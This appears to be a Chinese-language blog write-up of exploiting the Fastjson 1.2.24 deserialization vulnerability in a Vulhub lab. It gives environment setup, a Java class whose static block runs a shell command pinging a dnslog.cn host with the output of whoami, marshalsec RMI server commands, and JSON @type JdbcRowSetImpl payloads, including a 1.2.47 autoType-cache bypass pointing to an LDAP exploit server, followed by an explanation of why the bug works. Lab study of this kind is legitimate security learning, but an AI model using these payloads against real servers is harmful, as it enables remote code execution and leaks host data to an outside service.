Fastjson 1.2.24反序列化漏洞

1.靶场采用Vulhub,一键启动fastjson漏洞环境

2.java jdk采用1.8.0_281

2.1.mkdir /opt/java
2.2.tar zxvf jdk-8u281-linux-x64.tar.gz -C /opt/java
2.3.vim /etc/profile
  末尾添加:
  export JAVA_HOME=/opt/java/jdk1.8.0_281
  export JRE_HOME=/opt/java/jdk1.8.0_281
  export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib
  export PATH=${PATH}:${JAVA_HOME}/bin:${JRE_HOME}/bin
2.4. source /etc/profile (之后就可以关闭命令窗口了)

2.5java –version (如果你是其他版本需要换下)
  如果成功显示:
  java version "1.8.0_281"
  Java(TM) SE Runtime Environment (build 1.8.0_281-b09)
  Java HotSpot(TM) 64-Bit Server VM (build 25.281-b09, mixed mode))
2.6更换版本:
  update-alternatives --install /usr/bin/java java /opt/java/jdk1.8.0_281/bin/java 4
  之后输入:update-alternatives --config java (填写对应版本序号)

3.安装maven

3.1下载 wget https://mirrors.bfsu.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz

  mkdir /opt/maven

3.2配置环境变量
  vim /etc/profile
  在最下面增加
  export MAVEN_HOME=/opt/maven/apache-maven-3.6.3
  export PATH=$MAVEN_HOME/bin:$PATH
  验证maven是否安装成功
  mvn -version

4.0安装marshalsec

4.1下载 git clone https://github.com/mbechler/marshalsec.git

    cd marshalsec/

4.2编译项目

  mvn clean package –DskipTests
5.0生成dnslog.class

5.1配置dnslog.java

 1 // javac TouchFile.java
 2 import java.lang.Runtime;
 3 import java.lang.Process;
 4 public class dnslog{
 5     static {
 6         try{
 7             Runtime rt = Runtime.getRuntime();
 8             String[] commands = { "/bin/sh", "-c", "ping user.'whoami'.9d33fn.dnslog.cn"}; 
 9             Process pc = rt.exec(commands);
10             pc.waitFor();
11         } catch (Exception e) {
12             // do nothing
13         }
14     }
15 }
#你们利用的时候把9d33fn.dnslog.cn改成自己的dnslog即可
使用命令javac dnslog.java生成dnslog.clss

环境运行:
dnslog.clss文件在哪,在哪开启终端输入下面命令
python -m SimpleHTTPServer 8000

   cd marshalsec/
   cd target/

   java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.220.129:8000/#dnslog" 9999

这里192.168.220.129:8000 ip和端口,分别是启动python服务的ip及端口

抓包改为post,发送下面的数据,其中ip和端口分别为python服务的ip和 marshalsec服务端口

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
         "dataSourceName":"rmi://192.168.220.129:9999/dnslog",
        "autoCommit":true
    }
}

 原理:

fastjson是一个流行的库,可以将数据在JSON和Java Object之间互相转换.

fastjson在序列化以及反序列化的过程中并没有使用Java自带的序列化机制,而是自定义了一套机制。其实,对于JSON框架来说,想要把一个Java对象转换成字符串,可以有两种选择:一种是基于属性,一种是基于setter/getter.setter/getter.没有属性的判断(会导致继承同种类的类无法具体到类上)所以这里基于属性判断添加了@type(属性),com.sun.rowset.JdbcRowSetImpl(读取加载)后面就是具体类型,以防找错类.dataSourceName相当于变量,而com.sun.rowset.JdbcRowSetImpl类中包含dataSourceName这个变量.rmi的意思为一个机器执行另一个机器给的命令(不回显).所以要开一台rmi服务器,当数据通过浏览器传输到靶机服务器后会识别属性找到这个类,这个类当中有dataSourceName变量然后就会让他执行rmi服务, rmi服务器执行命令如下java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.220.129:8000/#dnslog" 9999 这里的命令也相当于rmi服务器也对来源数据进行了转发,先看python服务器执行命令 python -m SimpleHTTPServer 8000,rmi服务器请求192.168.220.129:8000/#dnslog也就是执行python下的dnslog文件.,dnslog文件简而言之给了rmi服务器一条命令去ping user.'whoami'.9d33fn.dnslog.cn.随后rmi服务器将这条命令给靶场服务器。autoCommit也是类中的字段,当它为ture就是执行命令.而产生这个危害真正正在的原理是fastjson在1.2.24版本前不会对你输入的类进行过滤,当黑客在写入JSON数据后到靶机服务器进行数据转换,先识别b没事过然后到type到用户输入的执行类,因为没有对用户输入类过滤所以过,到dataSourceName,然后rmi再到autoCommit.所以这里本质原因就是没有过滤类..

从1.2.24到1.2.47之间开发者不断的进行对用户输入类过滤,到1.2.47时黑客有发现漏洞

autoType不开启反而会被攻击。
因为在fastjson中有一个全局缓存,在类加载的时候,如果autotype没开启,会先尝试从缓存中获取类,如果缓存中有,则直接返回。java.lang.Class类对应的deserializer为MiscCodec,反序列化时会取json串中的val值并加载这个val对应的类。如果fastjson cache为true,就会缓存这个val对应的class到全局缓存中.

{
 
    "a":{
 
        "@type":"java.lang.Class",
 
        "val":"com.sun.rowset.JdbcRowSetImpl"
 
    },
 
    "b":{
 
        "@type":"com.sun.rowset.JdbcRowSetImpl",
 
        "dataSourceName":"ldap://ip:9999/Exploit",
 
        "autoCommit":true
 
    }
 
 
 
}

 

posted @ 2022-03-06 02:22  Po-Jian  阅读(162)  评论(0)    收藏  举报